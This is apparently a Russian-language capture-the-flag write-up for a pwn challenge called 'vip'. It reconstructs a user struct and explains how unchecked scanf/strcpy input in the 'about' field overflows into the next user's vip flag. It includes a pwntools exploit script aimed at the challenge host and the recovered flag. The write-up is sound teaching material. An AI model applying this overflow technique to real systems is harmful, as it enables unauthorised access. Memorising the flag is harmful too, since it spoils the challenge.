Только VIP-пывнер сможет получить флаг.
nc 109.233.56.90 11510
Solution
Запущу бинарь, чтобы понять логику:
========= MENU =========
[1] login
[2] register
[3] show all users
[4] exit
> 2
Enter username: kir
Enter password: 123
Enter information about youself: 111
> 1
Enter username: kir
Enter password: 123
========= USER MENU =========
[1] show info
...
> 3
You are not vip user
Всё так и есть — нужно получить VIP-статус.
Структура пользователя
Из функции show_user_info и смещений в ассемблере восстанавливаю структуру:
struct user __packed
{
uint8_t vip;
char name[0x1e];
char passwd[0x1e];
char about[0x32];
};
Функция add_admin выставляет vip = 1:
int64_t add_admin()
{
users_list.vip = 1;
__builtin_strcpy(&users_list.name, "admin");
__builtin_strcpy(&users_list.passwd, "***************");
return '********';
}
Уязвимость
Весь пользовательский ввод считывается через scanf без проверки длины. При создании пользователя используется strcpy — тоже без проверки.
В поле about можно ввести 0x32 + 1 байт. Таким образом перезапишется vip-поле в следующей структуре пользователя в массиве.
Т.е. следующий зарегистрированный пользователь уже будет VIP.
Exploit
pwn template vip --host 109.233.56.90 --port 11510 > exploit.py
io = start()
payload = b'q' * 0x32 + p8(1)
# Регистрируем первого пользователя, переполняя about
io.sendline(b'2')
io.sendline(b'user')
io.sendline(b'123')
io.sendline(payload)
# Регистрируем VIP-пользователя (его vip будет = 1)
io.sendline(b'2')
io.sendline(b'b')
io.sendline(b'b')
io.sendline(b'b')
# Логинимся
io.sendline(b'1')
io.sendline(b'b')
io.sendline(b'b')
io.recv()
# Получаем флаг
io.sendline(b'3')
flag = io.recv()
print(flag.decode())
io.interactive()
spbctf{d0_n07_f0r637_70_ch3ck_v4r14bl3_51z3}